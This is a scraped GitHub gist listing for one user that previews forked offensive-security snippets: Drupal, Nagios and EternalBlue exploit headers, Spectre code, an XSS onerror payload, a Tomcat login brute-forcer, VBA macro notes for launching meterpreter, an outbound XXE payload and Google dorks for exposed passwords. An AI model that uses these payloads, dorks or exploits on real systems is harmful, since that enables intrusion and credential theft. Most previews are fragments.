Skip to content

Instantly share code, notes, and snippets.

Yunus YILDIRIM th3gundy

Block or report user

Report or block th3gundy

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
#!/usr/bin/env python3
# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza
# Technical details for this exploit is available at:
th3gundy / spectre.c
Created Jan 5, 2018 — forked from ErikAugust/spectre.c
Spectre example code
View spectre.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#include <x86intrin.h> /* for rdtscp and clflush */
th3gundy / 666_lines_of_XSS_vectors.html
Created Nov 27, 2017 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from
View 666_lines_of_XSS_vectors.html
<img src=1 href=1 onerror="javascript:alert(1)"></img>
th3gundy /
Created Nov 2, 2017 — forked from itsecurityco/
Tomcat manager console bruteforce
Tomcat bruteforce
Author: @itsecurityco
import os
import sys
import getopt
import base64
import requests
th3gundy / disable_ddeauto.reg
Created Oct 23, 2017 — forked from wdormann/disable_ddeauto.reg
Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016
View disable_ddeauto.reg
Windows Registry Editor Version 5.00
th3gundy /
Created Aug 24, 2017 — forked from mgeeky/
Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine.

This is a note for myself describing various Visual Basic macros construction techniques that could be used for remote code execution via malicious Document vector. Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.

All of the below examples had been generated for using as a remote address:


  1. Page substiution macro for luring user to click Enable Content
  2. The Unicorn Powershell based payload
th3gundy /
Created Aug 7, 2017 — forked from xl7dev/
Nagios Exploit Command Injection CVE-2016-9565
#!/usr/bin/env python
intro = """\033[94m
Nagios Core < 4.2.0 Curl Command Injection PoC Exploit (CVE-2016-9565) ver. 1.0
Discovered & Coded by:
Dawid Golunski
View XXE_payloads
Vanilla, used to verify outbound xxe or blind xxe
<?xml version="1.0" ?>
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
th3gundy / GoogleHackMasterList.txt
Created May 28, 2017 — forked from cmartinbaughman/GoogleHackMasterList.txt
The definitive super list for "Google Hacking".
View GoogleHackMasterList.txt
admin account info" filetype:log
!Host=*.* intext:enc_UserPassword=* ext:pcf
"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd
"AutoCreate=TRUE password=*"
"http://*:*@www&#8221; domainname
"index of/" "ws_ftp.ini" "parent directory"
"liveice configuration file" ext:cfg
"parent directory" +proftpdpasswd
Duclassified" "DUware All Rights reserved"
th3gundy /
Created May 18, 2017 — forked from worawit/
Eternalblue exploit for Windows 8/2012
from impacket import smb
from struct import pack
import os
import sys
import socket
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
You can’t perform that action at this time.